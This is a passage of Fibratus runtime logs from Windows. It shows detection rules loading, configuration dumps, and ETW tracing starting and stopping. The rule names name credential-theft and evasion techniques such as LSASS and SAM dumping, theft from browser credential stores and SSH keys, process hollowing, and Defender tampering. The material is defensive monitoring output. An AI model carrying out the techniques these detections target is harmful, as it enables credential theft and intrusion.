C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:02:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T16:02:08+01:00 level=info msg=bootstrapping with pid 12780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:02:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 stack-enrichment=>true enable-mem=>false enable-registry=>true buffer-size=>512 enable-handle=>false enable-net=>true enable-threadpool=>false enable-fileio=>true enable-audit-api=>true enable-vamap=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 log-stdout=>true max-size=>100 formatter=>text max-age=>0] + output ......................... [ amqp=>[ enabled=>false exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus passive=>false exchange-type=>topic delivery-mode=>transient vhost=>/ timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s trace-log=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 healthcheck=>true enabled=>false index-name=>fibratus timeout=>5s sniff=>false] http=>[ enable-gzip=>false serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] timeout=>5s]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-mmaps=>false skip-files=>false skip-registry=>false scan-timeout=>10s skip-allocs=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:02:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:02:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:06:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:06:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:06:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:21:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T16:21:19+01:00 level=info msg=bootstrapping with pid 17744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:21:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true max-buffers=>36 buffer-size=>512 enable-image=>true flush-interval=>1s enable-dns=>false enable-mem=>false enable-vamap=>true min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-threadpool=>false enable-audit-api=>true enable-fileio=>true enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 formatter=>text level=>info log-stdout=>true] + output ......................... [ http=>[ method=>POST enabled=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false endpoints=>[]] amqp=>[ url=>amqp://localhost:5672 durable=>false enabled=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false vhost=>/ passive=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ index-name=>fibratus enabled=>false sniff=>false trace-log=>false flush-period=>1s healthcheck-interval=>10s healthcheck=>true timeout=>5s template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:21:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:21:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:21:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:21:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:21:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:40:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T16:40:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T16:40:41+01:00 level=info msg=bootstrapping with pid 2132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:40:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-fileio=>true enable-dns=>false max-buffers=>36 enable-thread=>true enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-audit-api=>true enable-threadpool=>false flush-interval=>1s enable-vamap=>true enable-image=>true enable-handle=>false enable-net=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false healthcheck-timeout=>5s flush-period=>1s healthcheck=>true timeout=>5s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus gzip-compression=>false enabled=>false healthcheck-interval=>10s] amqp=>[ exchange=>fibratus routing-key=>fibratus passive=>false timeout=>5s durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 enabled=>false] http=>[ timeout=>5s method=>POST serializer=>json enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] enabled=>false excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-04T16:40:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:40:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T16:41:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T16:41:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T16:41:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T16:41:35+01:00 level=info msg=bootstrapping with pid 5360. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T16:41:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-net=>true enable-image=>true max-buffers=>36 buffer-size=>512 enable-threadpool=>false min-buffers=>16 enable-dns=>false flush-interval=>1s enable-registry=>true enable-fileio=>true stack-enrichment=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ 